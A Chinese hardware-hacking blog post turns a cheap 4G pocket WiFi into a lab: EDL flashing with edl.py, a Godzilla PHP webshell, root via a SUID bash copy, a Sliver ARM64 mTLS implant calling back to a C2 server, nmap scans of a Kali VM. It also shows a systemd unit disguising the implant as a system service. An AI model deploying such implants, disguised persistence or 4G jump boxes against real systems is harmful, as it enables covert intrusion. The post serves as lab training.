二十块的随身WiFi爆改:从EDL刷机到C2跳板
二十块能买什么?一杯中杯奶茶,两趟地铁,或者——一台高通 MSM8916(骁龙 410)方案、带电池、带 4G 模组、能跑完整 Linux 的口袋计算机。
这就是闲鱼上泛滥的二手随身 WiFi。它本质是一台微型 Android/Linux 设备:512MB 内存、4GB eMMC,五脏俱全。对硬件安全爱好者来说,这玩意儿是合法拥有的完整靶机——你拥有它、刷它、打它,都不用碰任何人的网络。对比网上几百上千的"硬件攻防靶场",这里是穷人的天堂。
我给它排了一条完整红队链路,五层,先上总览:
| 层级 | 打击点 | 核心技术 | 阶段成果 |
|---|---|---|---|
| 固件层 | EDL 9008 模式 | 短接测试点 + edl.py 刷机 | 拿到系统控制权 |
| Web 层 | nginx + PHP | 哥斯拉 WebShell | 模拟失陷服务器 |
| 权限层 | SUID 残留 | find -perm -4000 排查 | 拿到 root |
| 网络层 | 4G 独立出口 | Sliver mTLS 通联 | C2 长期驻留 |
| 横向 | NAT 实验网段 | nmap + 服务利用 | 打穿 Kali 虚拟机 |
这五层正好呼应上一篇《2026 硬件攻击面实录》里讲的信任链概念——每往下一层,就是一次信任边界的击穿。
老规矩一句话叠甲:全程只在我自己的设备和我自己的隔离网络里演练,这套流程别拿去碰任何不属于你的网。
EDL 刷 Debian:从 9008 开始
EDL(Emergency Download Mode,高通 9008 模式)是高通芯片的救砖/深度刷机通道,绕过一切系统层校验,直接跟 bootloader 之前的 Firehose 协议对话。对玩家来说,它就是"物理 root"。
进入方式两种:
- 优雅姿势:系统还活着时,
adb reboot edl直接送进 9008; - 暴力姿势:拆机短接测试点对地,插 USB 进模式。随身 WiFi 拆开后主板上的测试点位置每款不一样,一般搜"型号 + EDL 测试点"能找到社区标注。
工具三选一:
| 工具 | 平台 | 优点 | 缺点 |
|---|---|---|---|
| QFIL | Windows | 高通官方,按 rawprogram0.xml + patch0.xml 清单刷,稳 | 整机 dump 麻烦,不适合备份流 |
| miko | Windows | 一键整机 dump/恢复,救砖神器 | 闭源收费,心里没底 |
| edl.py | 跨平台 | bkerler 开源项目,脚本化、可自动化 | Firehose programmer 要自己找 |
我选 edl.py,开源可审计,这是安全研究员的职业病。装好后第一件事不是刷,是 dump 原厂全盘:
git clone https://github.com/bkerler/edl.git
cd edl && pip3 install -r requirements.txt
# 按 GPT 分区表把所有分区备份到 out 目录
python3 edl.py --loader prog_emmc_firehose_8916.mbn rl backups
# persist 分区(射频校准)单独再备一份,怎么强调都不过分
python3 edl.py --loader prog_emmc_firehose_8916.mbn r persist backups/persist.img
划重点:persist 存的是射频校准数据,出厂唯一,刷丢了 4G 就没信号,设备变纯有线玩具。XBL/abl/modemst1/modemst2/frp 同理,全盘备份是刷机界的保险单。另外 Firehose programmer(prog_emmc_firehose_8916.mbn)必须匹配机型,不匹配轻则报错重则真砖。
然后刷社区维护的 Debian 11/12 ARM64 镜像(openstick 一类项目),最小化系统 200MB 存储 + 64MB 内存就能跑,对这台 512MB/4GB 的机器是富余的。刷完 USB 插电脑,设备枚举成 RNDIS 网卡,直连管理 IP——这类镜像默认 192.168.68.1:
ssh root@192.168.68.1 # 初始密码看镜像发布页
passwd # 登录第一件事:改掉初始密码
nmtui # 文本界面配置 WiFi/网络
apt update && apt install -y php-fpm # 为下一层做准备
到这里,固件层完成:一块 20 块的板子,现在是一台我完全掌控的 ARM64 Linux 主机。
搭 PHP 环境:自己给自己下马
这一步的定位要说清楚:我是自己给自己下马。在实验环境里主动制造一个 Web 层失守点,模拟真实场景里被上传了 WebShell 的业务服务器——靶机的"伤口"要自己先划好。
最小化部署,nginx + php-fpm 足矣:
apt install -y nginx php-fpm
# Debian 12 默认 sock:/run/php/php8.2-fpm.sock
# nginx 站点配置里 fastcgi_pass 指向它,root 指向 /var/www/html
systemctl enable --now nginx php8.2-fpm
然后把哥斯拉生成的 PHP 马丢进 /var/www/html/。Web 层失陷点就位。
哥斯拉连马与 SUID 提权
哥斯拉(Godzilla)连这个 PHP 马:新建连接填 URL 和密钥,有效载荷选 PHP_EVAL,加密器随意。它比一句话+菜刀时代强在流量加密和 session 驻留(内存马机制,这里一句带过,值得单开一篇)。连上之后文件管理、命令执行、内网探测全都有。
命令执行是 www-data 权限,下一步提权。思路先讲清楚:为什么刷完的系统常有 SUID 残留? 因为社区镜像图省事,作者打包时塞了一些"方便门"二进制——本质上是 rootkit 式的后门逻辑,只是动机纯良。真实攻防里,这一层对应的是镜像供应链投毒和运维偷懒的历史遗留。
扫起来:
find / -perm -4000 -type f 2>/dev/null
在我这台的输出里,除了常规的 passwd、mount、sudo,混进了一个不该存在的 bash 副本(改名成了系统服务同款伪装名)。带 SUID 位的 bash 意味着直接 -p 拿 root,GTFOBins 上对应条目一查一个准。
拿到 root 后视角反过来:如果是防守方,此刻要做的是修复 SSH 配置、清理痕迹、删掉多余 SUID——攻防同一套命令序列,区别只在先后手。
Sliver C2:口袋里的长期驻留
WebShell 是入口,不是驻留。长期驻留选 Sliver:开源、多平台 implant、原生支持 ARM64 Linux、mTLS 加密通联、自带 pivoting——红队该有的它都有,还没有授权费。
服务端(我的另一台虚拟机):
./sliver-server
# 监听 mTLS
mtls --lhost 0.0.0.0 --lport 443
# 生成 ARM64 implant
generate --os linux --arch arm64 --mtls <出口IP>:443 --save ./out/
implant 传到随身 WiFi 上跑起来,sessions 里就能看到上线。
持久化用 systemd 伪装成系统服务,Restart=always 保证打死复生:
[Unit]
Description=System Network Daemon
After=network.target
[Service]
ExecStart=/usr/local/bin/.sysmond
Restart=always
[Install]
WantedBy=multi-user.target
而这台设备作为 C2 跳板的真正杀手锏是:4G 独立出口。流量不走家里/公司宽带,IP 随运营商漂移,通联路径和家庭网段完全解耦——这是它比树莓派更像"真实跳板"的核心原因。树莓派再小巧,网络身份还是蹭你的局域网。
(当然,在我的演练里,C2 服务器同样架在隔离网段,模拟的是这条链路"能跑通",而不是真的去驻留谁。)
内网横向:打穿 Kali 虚拟机
最后闭环。把随身 WiFi 插进我的实验网段(VMware NAT,和一台 Kali 虚拟机同段),它现在是一台已经失陷的内网主机,任务是从它出发摸清网段、找到 Kali、打进去。
在 implant 会话里(或经由它转发流量):
nmap -sn 192.168.68.0/24 # 存活探测,摸清网段成员
nmap -sV -p- 192.168.68.128 # 全端口+版本探测,锁定 Kali
Kali 上按剧本暴露了服务(一个版本带洞的 Web 应用),利用路径教科书级,不展开。至此链路闭环:从一颗物理短接点出发,五层打穿,终点是网段里另一台机器的 shell。
复盘整条链:
| # | 层 | 击穿的信任边界 |
|---|---|---|
| 1 | 固件层(EDL) | 硬件 → 系统:物理接触即系统控制权 |
| 2 | Web 层(PHP 马) | 外部 → 主机:应用入口变代码执行 |
| 3 | 权限层(SUID) | 低权 → root:纵向越界 |
| 4 | 网络层(C2) | 单点 → 通道:失陷主机变跳板 |
| 5 | 横向(Kali) | 主机 → 网段:信任边界横向蔓延 |
五层,每层一节课,串起来就是一条微型红队链路。
尾声:这台设备现在干嘛用
打完了,设备没退役,现在的常驻岗位:
- bad USB 模拟:USB gadget 框架改设备描述符, HID 注入测试;
- 口袋蜜罐:默认口令 SSH + 伪造 Web 面板,观察扫描器行为;
- 旅行 VPN 网关:WireGuard 客户端,酒店网络里自营安全出口;
- C2 实验盒:后续攻防演练的常驻基础设施。
给想复刻的读者一张清单:
| 环节 | 工具/物品 | 说明 |
|---|---|---|
| 设备选购 | 高通 MSM8916 方案随身 WiFi | 20 元档,社区刷机资料最集中;展锐方案资料少,新手绕行 |
| EDL 工具 | edl.py(主力)+ QFIL(备用) | 配合机型匹配的 Firehose loader |
| 拆机短接 | 镊子 + 杜邦线 + 测试点图 | 搜"型号 + EDL 测试点" |
| 系统镜像 | Debian 11/12 ARM64 社区镜像 | openstick 等项目,认准持续维护的仓库 |
| Web 层 | nginx + php-fpm + 哥斯拉 | 模拟失陷点 |
| 提权 | find + GTFOBins | SUID/能力排查 |
| C2 | Sliver | implant 记得选 arm64 |
| 横向 | nmap | 限于自有隔离网段 |
| 排错 | USB 转串口(TTL) | 救砖终级手段,串口环境搭建见《嵌入式开发环境配置实战》 |
| 项目 | 花费(元) | 备注 |
|---|---|---|
| 二手随身 WiFi | 20 | 闲鱼价,全新也就 30 左右 |
| 镊子 + 杜邦线 | 5 | 短接测试点用 |
| USB 数据线 | 0 | 手里现成 |
| USB 转 TTL(可选) | 10 | 救砖保险 |
| 合计 | 25~35 | 一杯奶茶加个面包,换五层攻防链 |
最后再重复一次边界:这套链路里每一步工具都是公开的,风险不在工具在指向——只打你自己的设备、你自己的网段。二十块买来的是靶场,不是许可证。